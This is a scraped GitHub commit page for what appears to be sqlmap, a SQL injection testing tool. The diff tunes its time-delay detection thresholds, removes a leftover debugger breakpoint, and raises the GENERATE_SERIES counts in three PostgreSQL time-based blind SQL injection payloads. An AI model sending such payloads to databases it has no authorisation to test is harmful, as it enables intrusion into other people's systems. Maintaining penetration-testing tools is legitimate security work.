Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 3d87489

Browse files
committed
minor update
1 parent 90b776c commit 3d87489

3 files changed

Lines changed: 6 additions & 12 deletions

File tree

lib/controller/checks.py

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,6 @@
4646
from lib.core.session import setString
4747
from lib.core.session import setRegexp
4848
from lib.core.settings import TIME_MIN_DELTA
49-
from lib.core.settings import TIME_N_RESPONSE
5049
from lib.request.connect import Connect as Request
5150
from plugins.dbms.firebird.syntax import Syntax as Firebird
5251
from plugins.dbms.postgresql.syntax import Syntax as PostgreSQL
@@ -360,14 +359,11 @@ def checkSqlInjection(place, parameter, value):
360359

361360
injectable = True
362361
elif check == "[DELAYED]":
363-
if duration >= max(TIME_MIN_DELTA, TIME_N_RESPONSE * kb.responseTime):
362+
if duration >= max(TIME_MIN_DELTA, kb.responseTime):
364363
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
365364
logger.info(infoMsg)
366365

367366
injectable = True
368-
else:
369-
import pdb
370-
pdb.set_trace()
371367
# Restore old value of socket timeout
372368
socket.setdefaulttimeout(popValue())
373369

lib/core/settings.py

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -48,10 +48,8 @@
4848

4949
PAYLOAD_DELIMITER = "\x00"
5050

51-
# settings used for delayed time payloads
52-
TIME_MIN_DELTA = 1 # minimum difference of loading time in seconds
53-
TIME_N_RESPONSE = 3 # minimum multiplicant of response time
54-
51+
# minimum difference of loading time in seconds for delayed time payloads
52+
TIME_MIN_DELTA = 2
5553

5654
# System variables
5755
IS_WIN = subprocess.mswindows

xml/payloads.xml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1267,7 +1267,7 @@ Formats:
12671267
<clause>0</clause>
12681268
<where>1</where>
12691269
<request>
1270-
<payload>; SELECT [RANDNUM] WHERE EXISTS(SELECT * FROM GENERATE_SERIES(1, 3000000));</payload>
1270+
<payload>; SELECT [RANDNUM] WHERE EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000));</payload>
12711271
<comment>--</comment>
12721272
</request>
12731273
<response>
@@ -1503,7 +1503,7 @@ Formats:
15031503
<clause>1,2,3</clause>
15041504
<where>1</where>
15051505
<request>
1506-
<payload>AND EXISTS(SELECT * FROM GENERATE_SERIES(1, 3000000))</payload>
1506+
<payload>AND EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000))</payload>
15071507
</request>
15081508
<response>
15091509
<time>[DELAYED]</time>
@@ -1658,7 +1658,7 @@ Formats:
16581658
<clause>1,2,3</clause>
16591659
<where>2</where>
16601660
<request>
1661-
<payload>OR EXISTS(SELECT * FROM GENERATE_SERIES(1, 3000000))</payload>
1661+
<payload>OR EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000))</payload>
16621662
</request>
16631663
<response>
16641664
<time>[DELAYED]</time>

0 commit comments

Comments
 (0)